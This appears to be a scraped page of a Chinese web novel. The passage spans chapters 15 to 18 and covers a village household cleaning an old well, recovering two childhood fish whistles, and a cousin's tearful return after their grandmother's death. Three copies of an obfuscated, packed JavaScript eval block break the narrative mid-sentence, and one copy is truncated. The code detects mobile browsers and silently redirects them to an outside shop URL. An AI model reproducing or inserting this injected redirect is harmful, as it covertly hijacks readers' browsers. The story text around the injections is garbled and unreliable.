向园含笑点头,“有劳你们过来帮忙,我刚回来,屋里乱着,有招待不周的地方,请你们多多见谅。” 黄穗宁娇笑,“姑姑客气什么!耕耘哥哥说请我们来帮忙,我们都没二话的。我倒高兴能认识你这样一个朋友呢,跟我差不多年龄的姑姑,是不是很有意思?我以后能不能常来找你玩啊?” 向园愣怔片刻,笑道:“当然可以呀,我欢迎还来不及呢。不过我平时要进山采药,不常在家的,就怕叫你空跑一趟。” “没事儿没事儿,就当散步了,也没几步路。”黄穗宁摆摆手,满不在乎的样子。 周满仓排到最后。 杨可真看看小叔子,有点嫌弃地道:“满仓,我小叔子。” 小叔子怎么就不能长俊点?他长这样,搞得她想给他抢个漂亮媳妇儿,都没有底气。 向园不觉得周满仓丑,反而他这婴儿肥的脸还挺可爱的,看着一团孩子气,没什么攻击性。 她笑着称呼他,“周三哥。” 原耕耘拉着几个男人去了后头,杨可真在屋里坐不住,拉着向园和黄穗宁过去看热闹。 向园也挺好奇,那么小的井口要怎么淘。 等她过去,就发现,那么小的井口其实只是个假井口,原耕耘几人正商量着要怎么把假井口挪开。 三四尺见方的大青石块,即便中间掏了个人腰粗的大洞,那份量也很可观。 原耕耘出去找合适的棍子当撬棍,向园拦住他,“坏了的那把梯子,把踏棍卸下来,两边的框架应该能用。还有个铁锹把也能用。” 不能用的东西原耕耘先前都堆到后院灶屋了,他知道在哪,直接过去拿。 杨可真和黄穗宁看他出入向家如同自家,自有一番思量。 有了撬棍,找好支点,就容易多了。几人力气都大,很快就把青石井口移到一旁去。 向园第一次看到自家水井的真面目,原来井口这样宽啊,怪不得樊姨怕她踩空掉井里去。 从上头可以看见青砖井壁上的青苔,还有砖缝里长出来的凤尾蕨。 这东西又叫井栏边草,常长在水井边、山谷石缝等阴湿处,有清热、利湿、解毒、凉血止血的功效,用来治痢疾、泄泻、黄疸等最好不过了。 边缝里长了这东西,还能让井水更干净,更纯澈。 黄穗安不知道,他只当是杂草,随手就把井口边的一株揪了出来。 向园挺高兴,她还想让耕耘哥哥帮她揪一株种瓦盆里呢,现在黄穗安揪了,她直接过去捡起来,放在养乌龟的小盆里。 黄穗安看不懂,这不能摘吗? 原耕耘明白了,没关系,反正等会儿他要下井的。 大黑没事儿干,又卧在乌龟盆儿旁边守着了。 这地方阴凉,地上的草也都收拾干净了,大黑肚子贴着长满青苔的土地,向园怕它受凉拉肚子,端着盆招呼大黑重新找地方卧。 她找到药圃拐角处的一块地,把乌龟凤尾蕨瓦盆放在靠阴的一侧,在另一侧朝阳的地方铺了些干草,让大黑卧。 大黑没想到自己还有这待遇,它看了向园一眼,终于不再是高傲蔑视的眼神,它换成了审视。 自从被鄙视后,向园就不跟大黑对眼神了,是以也没看清楚。安顿好它,她跑去井边继续看。 哦,得端着茶水去。 她转个弯到灶棚底下,把烧好的茶水茶碗带过去。 淘井要先看井的大小、深浅和淤堵情况。 单看先前的井水水质,只是浑浊,却不污浊,应该没有淤堵。这井是用青石筑的,比青砖结实得多,等闲井壁也不会破损,淤泥也渗不进来。 原耕耘要淘井,是怕里头有动物尸体,所以得把井水给排空了。 记忆中,爹娘没提过,所以向园也不知道自家这井有多深。 倒是周二仓家人还有些印象,“我听我娘说,这井有些年头了,是当年向家祖爷爷请人打的,深倒是不算深,估摸着有个两三丈。” 这和原耕耘估计得差不多。这附近靠山近水,树多竹子多,水位相应的就浅。 他家院子里的井就是两丈六尺深,这还是他爹特地让工人往深了打的,向家的井应该也差不离。 但只估摸是不够的,毕竟要排水,还要下井,还是得探个虚实出来。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16039619|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耕耘提前准备了长竹竿,三丈长的竹竿,竿头还没有没进井口,就扎不动了。原耕耘又握着竹竿换了两个方位,差不多还是到同样的位置。 露出井面的竹梢有三尺长,这井深大概就是两丈六两丈七的样子。 接着就是排水了,几人拎着水桶轮番上阵。 这是个力气活儿,平时拎一桶水、挑一担水、甚至装满一缸水、两缸水,对这些年轻汉子来说都不是什么难事,但他们这回得把一井水全排空,而且这水井没有轱辘,全靠人力往上拉,这就不大容易。 他们这边排着水,那边井壁渗水,虽然渗得慢,但他们也不敢懈劲儿。 好在附近就有通往院外的排水沟渠,水提出来直接往排水沟里一倒就成。 饶是如此,没一会儿几人就累得满头大汗。 向园倒茶给他们喝。喝一碗她添一碗,保证茶碗不空。几人都记得自己茶碗的位置。 女孩儿们用的茶杯,杨可真端着喝了一口,咂摸出滋味,她又喝一口,“这是金银花?怎么这么甜?” 黄穗宁伸头去看。 茶壶没有茶漏,但是壶嘴小,向园倒茶的时候又很注意,看花快跑出来了就往回倒一倒,所以杯里碗里只有灰绿色的茶汤,没有花瓣。 但壶里细长柔软的花确实是金银花无疑。 她也呷了一口,没有以往喝的那种苦涩感。 “我加了冰糖。”向园笑着道。 金银花茶清热解毒,燥热时喝能静心凝神。她还没来得及采花晒干,干脆就摘了一把新鲜的金银花,用来煮茶。 当然也不能放太多,新鲜的金银花比干花所含灵质更浓更足,药效也更集中,加太多恐怕导致腹泻或者寒凉。 向园放了十朵,煮了一大壶,只用加几颗冰糖,就能解鲜花的那丝苦味,喝起来甘香清甜,更加适口。 黄穗宁不好奇了,加了冰糖,哪有不甜的。 杨可真点她脑袋,“你可真舍得!” 糖多贵啊,这一大壶茶,喝起来甜丝丝的,怕不是得加一把冰糖,小丫头不会过日子啊。 向园扭头瞅瞅原耕耘。那是原耕耘舍得,她都没有糖的,是他带来的。 狗子不爱喝鱼粥,早间煮的红薯粥,原耕耘让她加些糖,给狗子们喝。喝的时候她守在一边,糊弄着替换了狗盆,让它们顺带把昨晚的鱼粥也喝了。 有甜甜的粥打底,狗子们虽然看穿向园笨拙的遮掩,但也给面子的喝光了。 几只狗吃得撑,除了大黑卧着不动弹,另两只都在隔壁院子悠达着撒欢呢。 啧啧,瞧他嫂子说的,他们干这些活,还不能喝些糖水了。 周满仓听着杨可真的话,咕嘟嘟灌了一碗茶汤,心中感叹。 向园又给他续了一碗,他一口气喝完,又转身去忙活。 杨可真知道乡里汉子的德行,怕他们一会儿热上头就要打赤膊,她拉着两个女孩儿往屋里去。 实际上有原耕耘在,没有人敢脱衣服。 周满仓刚解开衫子,原耕耘就把视线投过去,笑里藏刀,“满仓,你是想现在就下井?” 周满仓狂摇头,赶忙把衫子拢上,襟带都系得紧,生怕一不小心抖开了,叫原耕耘记恨。 黄穗安见状,只得放下手。 16. 第 16 章 “阿得,你起开,我来!”城东口的土路上,一辆骡车嘚嘚嘚跑得飞快。 “少爷,不能再快了!这骡子又不是马,它就这点能耐,想快也快不了了啊。” 阿得紧紧攥着鞭子,不松手,真怕少爷一恼,一鞭抽出一道血条子来,再把骡子打坏了。 这骡车是租借的,要是伤了可还要给人赔的,到时候掌柜的又要克扣他工钱了。 托原二老爷的福,掌柜的为了封他的口,已经正式聘用他当杂货铺的伙计。如果掌柜的不扣工钱的话,他现在每个月能领六串钱呢。 虽然还没到月底发工钱的时候,但他已经能想象六串钱是多大一堆了,他的衫子都包不下吧。 梅丛殊气恼地坐在车前盘上,垂下头,“我爹真是那么说的,让他们马上拜堂成亲?” 阿得忙不迭点头,“是啊是啊,我也奇怪呢,掌柜的一忽儿说早把小姐接家里去了,一忽儿又说让他们尽快拜堂成亲,这事儿我怎么看怎么蹊跷。您不知道,自出了那事儿,我都没敢往槐树井去,也不知道那半锅汤馊了没……” 他嘚啵嘚啵说个不停,梅丛殊脑子里乱嗡嗡的,像有一千只蚊子在飞。 要是原耕耘,要真是原耕耘,把他妹妹偷跑了欺负她,他,他非把他揍趴下不可! 梅丛殊攥得拳头咔咔响。 原耕耘也攥得拳头咔咔响。 这井壁滑,他要下井,得先活动活动筋骨。 向园很不放心,蹲在一旁看着。 门口来人了,是谷敬和樊云英。 “我们来晚了,这水都排完了?”她笑着,跟几人打招呼。 “不晚不晚,九哥正要下井呢。”有樊姨和谷敬叔在,向园更安心一点。 谷敬已经跑过去帮忙了。 樊云英听出向园语气从焦急到安心的转变,又是这样的称呼,她眼睛一亮:这是记得事儿了,还是儿子告诉人家自己小名儿了? 正下井的原耕耘踩到井壁的青苔,滑了一下。 跟他背对背的周满仓毫不留情发出嘲笑,“九哥,吓腿软了吧?就说井底下还是我这种身板沾光。” 他个子精巧,手脚灵活,年纪小,骨头软,最擅长钻窝打洞。 脚滑不耽误原耕耘踹他,反正两人腰上绑的有绳子,外头有人拉着,绳头还系在树上,不怕掉下去,就当打秋千了。 井口宽,井不算深,日头又升上来了,这井底的光线就没那么差,他们又拿了火折子,照着就能看得清清楚楚。 井底沉积了一些泥沙、腐叶之类的杂物,两人下井的时候仔细检查过井壁和框架,没发现有破损,估计这些杂物都是风大的时候落进来的。 还有一个破水瓢,葫芦做的,在井底泡了太久,都腐坏了,一碰就碎成渣。 两人也不耽误,让上头的人系了竹筐和破桶下来,他们赶快把这些东西清出去,都不用人替换,一轮就能完工。 原耕耘检查井壁的时候,周满仓的铁锹碰到什么东西,发出一声脆响。 “这是什么?”他好奇地蹲下身去寻宝,在泥沙堆里扒拉一会儿,扒出一个陶口哨,是小鱼形状。 周满仓不嫌脏,在衣服上擦了擦就要往嘴里送。 原耕耘及时抢过来,也蹲下扒拉。 “喂,九哥,你咋这么小气,吹一下都不让!” “脏!”原耕耘言简意赅,至于是什么脏他没细说。 周满仓还不不太高兴,不过这沙干净,这泥看着确实脏,九哥的话一定是良言逆耳。 原耕耘叫他贴井边站着,给他腾腾地方,他还要找另一枚。 这个鱼弯弯的,鱼尾翘起,鱼嘴小小,应该是向园那一枚。 他的鱼稍大一点,鱼尾是直的,鱼头弯着,嘴巴张得大些。 两相比较,自然是向园的鱼哨精巧好看。 向园的鱼哨不小心掉井里了,他把自己的送她,她不肯要。不是不喜欢,是怕自己的鱼捞不上来,没人作伴孤独。 原耕耘把自己的鱼哨丢进去陪向园的小鱼哨。 然后向园就哭了。因为两只鱼都没人作伴了。 他哄她,鱼就是要活在水里的,没人作伴,两只鱼可以相依作伴,就像他们一样。 向园不哭了,只是每天都要过来看看井边看看,两只鱼好不好,有没有孤单。 当然看不见,向叔叔怕他俩掉井里,那段时间都找个大石板把井盖上,向婶婶不错眼盯着他俩,就怕俩人犯蠢,跳下去捞鱼哨。 相隔没多远的位置,原耕耘找到另一枚鱼哨。 看泥沙的痕迹,两只鱼的确相依相伴,在井底安然许多年。 “九哥,你咋知道这里头还有!”周满仓稀奇。 “我扔的,我自然知道。” 井里空荡,声音传出来很清晰,上头的人都能听出原耕耘的得意。 向园疑惑,耕耘哥哥小时候这样淘气?还往自家井里扔东西?不过,是什么好东西? “是哨子吧。”樊云英知道。 此刻她盼着梅家表哥早些回来,好跟他说说园园的事。 如果两个孩子彼此中意,还有比这更好的姻缘吗? 梅丛殊没让她久等,原耕耘他们清理好淤泥,正准备上来,梅丛殊终于驾着骡车到了蒲家塘。 “丑妹!丑妹?”向家大门开着,他却近乡情怯,喊得一声高一声低,很害怕一进院子就瞧见满地跑的外甥儿。 “丑妹是谁?”刚钻出井的周满仓挺好奇,这是谁走错门了? 原耕耘紧跟着跳出来,看见向园慌慌张张应着声往门口跑。 丑妹是向园,表哥希望她长得丑一点,就能大胆地带她出去玩了。只可惜这名字没能如愿把她喊丑。 丑妹是向园?这真的不是嘲讽? 长这样都要叫丑妹,那他们这些人叫什么,叫泥巴?叫黑蛋儿?叫狗尾巴草? 周二仓和杨可真对视一眼,黄穗安和黄穗宁对视一眼,周满仓没人对视,他只好看原耕耘,希冀原耕耘也能看过来,他好跟人分享一下眼中的惊诧。 原耕耘注定要让他失望,他往门口去了。 樊云英和谷敬已经跟在向园身后过去了。 “表哥,你总算回来了!”向园看着陌生了许多的梅丛殊,又是哭又是笑,“怎么瘦了这么多?” 他胡子拉碴,眼窝青黑,原本正合身的衣裳现在挂在身上,显得空荡荡的。 梅丛殊也在看向园。 她脸还是嫩生生的,绾的双螺髻,肚子也没大,忽略糊了满脸的眼泪的话,情况看着还好。 他眼神掠过几人身后的原耕耘,转到相伴而来的樊云英和谷敬身上。 这以后就是妹妹的婆婆了,便是要算账,也得先礼后兵,他思忖片刻,作揖行礼,话还未出口,就被窜出来的原耕耘带着转了个弯。 反了反了,他还没找他的麻烦,原耕耘倒是恶人先动手了。 梅丛殊恶狠狠瞪着他。 原耕耘耳语一句,梅丛殊瞪着的大眼睛里,恶狠狠没有了,变成惊讶。 “真的?”他问。 “真的!”原耕耘答。 他朝身后摆摆手,“你们先去忙,我托梅表哥带个急用的东西,取了就来。” 梅表哥很配合,“对,对,丑妹,你跟婶子他们先进屋去,我一会儿就来。” 两人勾肩搭背去了隔壁。 向园一脸呆滞,这是什么情况? 樊云英瞠目结舌,我不知道啊! 她俩同时看向可能知情的阿得。 阿得战战兢兢,心中疯狂呐喊:“少爷,你把我忘这儿了!” “小、小、小姐。”不知道眼前的表小姐是人是鬼,阿得不敢掉以轻心。 “是你啊?快请进!”向园伸手,请人进屋歇息。 阿得觑了眼院内,没瞧见蜘蛛网,也没看见血手印,天上有日头,地下有影子,应该不是鬼? 谷敬挽着他,客气地把他往院子里拉。 手是热的,阿得放下心,终于敢坐下。 谷敬带着周家兄弟和黄穗安去井边继续忙活。 原耕耘不在,这活儿也不能耽搁,不然一会儿渗出来水,还要再清理。 周二仓和黄穗安下井撒艾草灰。 隔壁。 梅丛殊一脸惊讶,“这么说,还是你救了我妹妹?” 原耕耘摇头,“她自己救的自己。” 梅丛殊又问:“你爹真和我姑父定了婚约?” 原耕耘:“我不知道。” 或许订过,但应该只是口头交代,或许只是以玩笑的口吻。他只知道他爹曾替他求过婚,至于向叔叔有没有答应,就不好说了。不然,真有这回事的话,他娘早就跟他说了,不会向园一回来,就提醒他注意分寸。 梅丛殊沉吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可他不敢想象,如果她没逃脱怎么办,如果她跑错路怎么办,如果她遇见坏人怎么办,如果她碰上的原耕耘和樊云英存了恶意,她又要怎么办。 早知道,他该多带她出几趟门的,让她看看外边的世界,让她知晓人心险恶。她见识得多,才有分辨善恶的能力,才有保护自己的能力。 看梅丛殊沉思,原耕耘垂下眼睫,这些事要他自己想清楚的,别人劝没用。 “你先洗漱歇歇吧,我喊你那个小伙计过来给你烧水。”他交代一声去了隔壁。 听见原二老爷喊他,阿得如蒙大赦。 这不是鬼屋,表小姐没有被鬼婆婆捉去,她活得好好的,他不用愧疚了。 但这次他要聪明点,少爷怎么说,他就怎么做。少爷不让他说的,他半个字都不会跟掌柜的透露,哪怕掌柜的拿扣工钱威胁。 呜呜,希望少爷看他忠心的份上,能给他补足工钱。 梅丛殊收拾好过来的时候,井已经清理干净了,只等它慢慢渗水。 原耕耘特意去竹坡坡那里接了一桶山泉水倒进去,意为“活水重生”。 过去的就过去了。 深井能淘过,重新聚拢活水。 鱼哨能打捞起来,再吹依旧清亮。 人也能再续前缘,不用遗憾时间太晚。 井壁上的凤尾蕨很多,他薅了一半,留了一半。 薅出来的一半直接给向园,由她摆到盆里或是桶里,她喜欢就好。 向园正在做饭,猛地被原耕耘塞了一把草,她愣怔了一下。 原耕耘没说话,瞧向药圃拐角处,随着日影偏移,大黑守着的乌龟凤尾蕨瓦盆,这会儿已经暴露在太阳底下了。 向园明白了,伸手去接,他却把凤尾蕨收回去,自己去摆弄。 乌龟到底也没丢进井里,凤尾蕨一放进去,就把瓦盆占满了。 回头换个大些的石头盆或者水缸好了,原耕耘想着,把盆端到井边靠墙的位置。 那里有几本芭蕉,等把井上青石移回来,就是很好的遮阴带。 至于大黑,离远点看吧。 被塞了一把凤尾蕨又被抽走的向园:“……” 她忧心忡忡走到樊云英旁边,怀疑耕耘哥哥跟表哥闹矛盾了。 喊表哥吃饭的时候,她问他。 梅丛殊垂下眼睫,“没有的事,你想多了。” 想多了吗? 向园晕着脑袋招呼大家吃饭吃菜。 17. 第 17 章 活儿很累,饭菜很丰盛。 春笋炖鸭,蕨菜炒鸭,各有一大盆。红薯米饭,也是一大盆,这伙食到哪都说得过去了。 周满仓吃得喷香。白胖胖的大包子,肥嫩嫩的竹鼠,鲜得叫人恨不得带舌头都吞下去的春笋老鸭汤,几天里接连着吃,这是什么神仙日子啊,他抹净嘴上的油往外说都没人敢信。 周二仓和周满仓的包子,分给杨可真婆媳和姐姐外甥吃了,五个人勉强能尝个滋味儿。 原耕耘单给周二仓的那个,周二仓偷偷给杨可真留着。 周满仓还不知道他哥□□食,他嫂子吃独食儿。 他知道杨可真也不惧,不过这菜这汤味道是真好。 她男人和小叔子之前不是没捉到过鸭子,只是野鸭子腥臊味比家里养的鸭子还重,料理不好很难做得像家鸭那样好吃。 可向园掌勺做的这个,滋味就很足。 全程她们都帮忙的,也没见她多放什么,做出来就跟她做的不一样,真是怪了,回头得好好请教请教。 杨可真不懂,黄穗宁就更加不懂了。 她在家里是备受父母哥哥疼爱的宝贝,平日里洗洗自己的小衣就算重活儿,别的家务是一点不沾的。反正有嫂子和娘操劳,等闲也用不上她。 不过,这样能干的人如果能到她们家就好了,娘和大嫂能轻松点,二哥也有人照顾了。 向园脾气糯糯的,说话软软的,配闷头闷脑的二哥挺好,她长得漂亮,想必二哥也会喜欢。 黄穗宁瞟了隔壁桌上闷不吭声的黄穗安一眼,微微一笑。 阿得埋头干饭的同时,还在惋惜那半锅鸡汤,早知道表小姐还活生生的,他就该把那汤热热喝了。 一餐饭,大多数人吃得心满意足,唯有梅丛殊食不下咽。 表妹独一个跑出来,听阿得说的,衣裳都没收拾,更何况别的。那这些,想必都是原耕耘和樊云英操持的。 他心里更乱糟了。 吃过饭,向园收拾碗筷,樊云英帮她,阿得很有眼色地收拾男子那一桌的。 原耕耘顺势就站起来,给阿得帮忙。不过忙着忙着,就成阿得给他帮忙了。 梅丛殊看着,越发觉得妹妹家成原耕耘的主场了,尽管原耕耘在众人面前,有意无意的避让。 可他遮掩不了的娴熟的动作,行走间对这地盘的熟悉,都让梅丛殊心惊。 初三妹子回来,今天初六,满打满算也不过三天,原耕耘和妹妹做了三天邻居。 外头的另一辆骡车是谷大叔的,那樊姨肯定和他一起,说明前几天两人都不在,那原耕耘岂不是孤男寡女地跟妹妹相处? 梅丛殊不敢想象,这三天都发生了什么,能让原耕耘在妹妹家这么熟络。 瞧瞧他这好手段,妹妹现在遇到事都先看他,不看自己了。 向园不是故意要看原耕耘,只是二黄不吃食,她看别人也解决不了问题啊。 原耕耘上前瞅瞅,摸摸二黄的肚子,“不用管,早起吃撑了。” 大黑和三白鬼精,自己使劲儿喝甜丝丝的红薯粥,把腥气的鱼肉粥留给二黄喝。 一只狗吃了给三只狗准备的食儿,能不撑吗?这样的狗东西,活该它们搞不定二黄。 向园没想到是这个原因,“要不我煮点马齿苋水给它喝?” 马齿苋利尿消肿,润肠通便,喝一点也能好受点,这会儿不吃食儿还好,不能晚上也不吃食儿啊。 这个原耕耘认得,“我去找。” 后院地上就长得有,原耕耘过去采,向园就先烧水。 煮好马齿苋水,不光二黄过来喝,大黑和三白也啪嗒啪嗒舔得欢快。 二黄受了委屈,向园更心疼它,给它单独弄了个盆。至于大黑和三白,它俩太会欺负狗了,就让它俩吃一个盆儿吧。 大黑和三白围着向园转一圈,试图通过撒娇享受二黄的待遇,向园不为所动。 俩狗也不失望,又跑回去吧嗒舔水。 周满仓和黄穗安没想到高傲的大黑,冷淡的三白到向园跟前这么乖。 周满仓眼睛一转,转出来个鬼点子,“向娘子,大黑下崽儿了,能不能让我抱一个走?” 杨可真匪夷所思地看过去,就看到一张蠢而不自知的傻脸,她有点无语。 傻弟弟,你能过头了,知道吗? 周二仓眼睛一亮:好主意,向娘子开口了,九郎肯定不好意思拒绝,他咋就没想到呢。 他后来居上,“向娘子,我也抱一个啊,我是他哥,我先抱。”他要排到周满仓前头去。 杨可真一脸生无可恋的表情,她不该说小叔子傻的,自家男人更傻。 只有黄穗安不明所以,周家兄弟俩这话是什么意思,向娘子能越过九郎,做大黑的主? 他瞧向原耕耘。 原耕耘不说话,这在周家兄弟看来就是默认的意思。 向园不懂,看向原耕耘,“这你们得问九哥,我听樊姨说大黑好像不愿意下崽儿,不过我跟九哥说了,要是二黄下崽儿,让他给我留两只养。” 她想得很简单,他们又不能时时看着大黑和三白,它俩要下崽儿,谁知道会找谁家的狗,但是二黄生的,一定是二黄的崽儿。 二黄这么萌,它下的崽儿一定可爱。 昨天晚上向园说的,原耕耘当即应下,甚至还想着去找找大黑爹娘,让大黑爹娘牵牵线,给二黄说个狼相公,生个厉害的狗崽儿,以后好跟她做伴儿。 周满仓一拍巴掌,悔不当初,他怎么就没想到这茬呢。 “那你先挑,你挑两只,第三只一定要让我挑,我是弟弟,我哥得让着我。” 他挤到周二仓前头。 狗弟弟,自己就够狗了,还养什么狗?周二仓一巴掌拍弟弟肩上。 周满仓一抖,不肯让位,依旧看向园。 向园有几分无措,这她也做不了主啊。 “要不你跟二黄商量商量?我是跟二黄商量好才找九哥说的,二黄同意,九哥才同意的。” “这样啊!”这话周满仓信,因为原耕耘之前也是这么对他们说的,要狗崽儿,得狗爹狗娘同意才行。 可怎么跟狗爹狗娘商量呢,他摸着下巴琢磨。 “你们在说什么呢?这么热闹!”黄穗宁走进门,笑着问道。 她刚刚跟着樊云英去隔壁喂鸡了,后来谷敬过去,她就又过来了。 “说狗崽儿呢。”黄穗安招招手,示意她赶紧过来,“你不是也想要一只?快来预订,可不能都让他们抢先了。” 梅丛殊饭后第一次开口,“二黄是什么狗?这么能生!”他瞧了原耕耘一眼。 原耕耘意会,“二黄是我从外头带来的,一胎顶多生两只,向园都预定了,没有多的。” 他没喊向娘子,喊的向园。 向园有些惊讶,在山上,只有两人的时候,他也是这么喊的。 最先失望的不是黄家兄妹,而是周满仓,“九哥,你要不要这么偏心。就算头胎生两个,先给向娘子,二胎都不能让我挑一个?” 梅丛殊第二次插嘴,“二黄下崽儿多疼啊,生一胎都不容易了,你还想让它生二胎?” 周满仓惊讶,还很委屈,“是她先要的!”他指着向园。 向园不高兴,瓮声瓮气地道:“我也不是让二黄现在就生,我是说它有崽儿了我要,要是没崽儿,我肯定就不要了啊。” 周满仓无话可说,他想抬杠来着,但话都到嘴边又给忘了。 这么漂亮的小娘子,说的话确实挺有道理,他就不抬了吧。 狗弟弟战斗力不太行啊,周二仓拍拍周满仓的肩膀,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16070855|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道是安慰他还是安慰自己。 黄穗安瞧妹妹一眼,又瞧原耕耘和向园一眼,皱了皱眉。 他总觉得,原耕耘包括樊云英,对向园的态度很奇怪,他们对她的关怀和维护超出了一般亲戚。 他爹娘和妹妹的打算,恐怕要落空了。 黄穗宁一无所知,预订不到狗崽儿,她有些失望,但还好,毕竟她也不是真的想养狗。 或许,不用养狗做借口,她以后也能常来这边转转。 她眼睛转了转,又挽上向园的胳膊。 外头热,围观完狗子喝水,向园请大家进堂屋坐。 周二仓跟着要进去,杨可真扯扯他的袖子,笑着跟向园道别,“妹妹,别忙活了,天热了,我们回去歇个晌,回头有空再来找你啊。” 向园表哥来得仓促,一看就是有事。 前晌有活儿忙,她们不好就走,这会儿井都淘干净了,饭也吃了,茶也喝了,剩下那些原耕耘一个人就能收拾好,他们还是早些走,给人家留个说话的空。 她一说走,黄穗安和黄穗宁也不好多待,跟着就说要走。 向园挽留不住,包了两包金银花和两捆山药给他们,“新摘的,你们带回去沏茶喝,要是喜欢,回头再来拿。” 杨可真有些惊讶。 金银花不算厚礼,可山药却是实打实的好东西,这一捆,得有好几斤。若是放在平日里,她定然不好收的,可昨天丈夫才转述过原耕耘的意思,她就不能不收。 只是回去得跟婆婆念叨念叨,合计合计,好好给人家回个礼。 “放心,姐姐不跟你客气。”她摆摆手,接过东西让丈夫和小叔子拎着,依旧是爽朗的模样。 黄穗宁看东西挺沉,就没伸手,看向她哥。 黄穗安脸都红透了,根本不好意思接。 原耕耘从向园手里接过,递给黄穗安。人是他喊来的,他这样做也不突兀。 黄穗宁跟向园摆手,“园姑姑,我回头找你来玩儿啊!” 她又笑着跟原耕耘告别,“耕耘哥哥,我们走啦,你替我跟樊婶子说一声啊。” 这话说得,也太机灵了。 杨可真都没忍住回头看一眼,周二仓和周满仓也跟着回头。 黄穗安脸更红了,这话他说合适,妹妹说,有些显轻浮了。 原耕耘若是对妹妹有意还好,若是无意,恐怕不会搭腔。 原耕耘果然没有搭腔。 向园眨眨眼,笑道:“放心,我会跟姨母说的。” 这称呼乱的,梅丛殊听了半天也没搞明白,黄家兄妹是怎么个辈分。 他们俩称呼向园为姑姑,跟原耕耘却以平辈相称。称呼樊云英为樊婶子,向园称呼樊云英为姨母。向家跟原家的称呼肯定不会错,那是黄家跟向家的辈分错了,还是黄家跟原家的辈分错了? “瞧你们这称呼,我都分不清谁是谁了,今日有劳你们,多谢了!”梅丛殊笑着道谢。 他们喊表妹姑姑,他应该不用称呼也行。 “今天辛苦你们!”原耕耘也先道谢。 接着他挑了挑眉,玩笑似地转了话头,“不过,你就算不愿意喊我一声叔叔,也不用这样区别对待啊。喊她就是姑姑,喊我就是名儿,平白无故让我矮她一辈,我娘听见,更要念叨我不争气了。” 这话是对黄穗安说的,可众人都听见了。 至于是怎么个不争气法,那意思可就多了去了,具体是什么意思,还得黄穗安自己琢磨。 向园没听明白,不过不要紧,反正她没喊错。 黄穗安愣了愣,脸上浮起薄红,好似有些惊讶。 黄穗宁也红了脸,只不知是恼的还是羞的,又或者兼而有之。 他们走了,原耕耘去后院处理最后一点活计,留他们兄妹二人在屋里说话。 18. 第 18 章 “表哥,你怎么弄成这个样子?”向园看着瘦得皮包骨头的梅丛殊,心有余悸。 “没事儿没事儿。”梅丛殊摇头,“我不是说要瘦身吗,这不正好,好好养两天就又养回来了。” “奶奶她……”梅丛殊不敢问下去,奶奶是很疼表妹,可奶奶待他丝毫不比待表妹差。 “外婆去得还算安详,初十那天下晌,她精神好些,跟我说想吃火腿豆腐羹,我晚间做了,她吃了一大碗,说好吃,然后就说让我不要怕,说、” 向园忍不住啜泣出声,“说让我以后找个好人家,好好过日子,别惦记她,还说让我劝劝你,别再犯浑,找个正经营生,娶房好媳妇儿,好好待人家。她说只要咱们俩都好好的,她这辈子就无憾了……” 豆大的泪珠滑过梅丛殊消瘦的脸庞,砸到地上,他放声大哭。 向园也跟着哭。 两个人像是下雨找不着家的小鸡崽儿,扎着脑袋痛哭流涕。 外婆/奶奶去了,他们以后,可不就得自个儿经风历雨,踽踽独行了吗? 外头几人听着这哭声,不由也想落泪。 樊云英急慌慌的,不知道该不该过去。 原耕耘踏开步子去拿水盆打水,让他娘先进屋看看向园。 向园一哭就喘不匀气,她见了表哥,只会更加悲恸,要是闭过气去,可就糟了。 梅丛殊到底是男人,也知道表妹不能哭,他很快缓过劲儿,宽慰向园,“这就好,她到这个年岁,这些都是免不了的。咱们就听她的,好好过日子,你,你也不要再难过了。” 只是到底心中惭愧,表妹跟在祖母跟前尽了孝,无愧于心。可他这些年,吊儿郎当,不务正业,只有让奶奶操心的份,奶奶临去前还记挂着让他走正道……他真该死啊! “嗯、嗯。”向园收不住泪,呼吸紧促。 樊云英拿着湿帕子进来,“好孩子,不哭不哭啊,你还有我们呢,以后有事姨母给你做主。你们好好爱惜身体,保重自己,把自己照顾好,长辈不用替你们操心,这就是最大的孝顺了,你说是不是?” 这话既是对向园说,也是对梅丛殊说的。 梅丛殊点头,又羞又愧。 向园抽噎着,躺在樊云英怀里,由她拿着帕子给她擦泪。 原耕耘打了水进来,让她洗脸。 樊云英看她身子都挺不直,扶着她给她梳洗。 向园一头汗,一脸泪,脸憋得通红,原耕耘看着揪心。她还这样年轻,可不能就这样坐下病来,得找大夫好好看看。 安抚好表妹,梅丛殊就要走,他要去槐树井,到奶奶坟上看看。 向园要跟着一起,梅丛殊不让,“既回来了,以后就不去那边了,你好好过日子,只当没有那两个人。以后的事,表哥给你做主。外婆知道你的心意,不会在乎这些小节的。” 到了外婆坟上,只怕她又要哭一场,哭坏了身子,苦的还是她。 但原耕耘这里不能不清不楚地就这么混着,他背过人问向园,“你觉得原耕耘如何,若是你也觉得好,我就做主,给你们定下婚事。” 向园瞪大眼睛,“表哥,不是他,真不是他把我偷回来的,是我自己跑回来的。樊姨和耕耘哥哥待我好,只是他们心善,肯接济我,不是他们哄骗我的。” 说着,眼泪又掉下来。 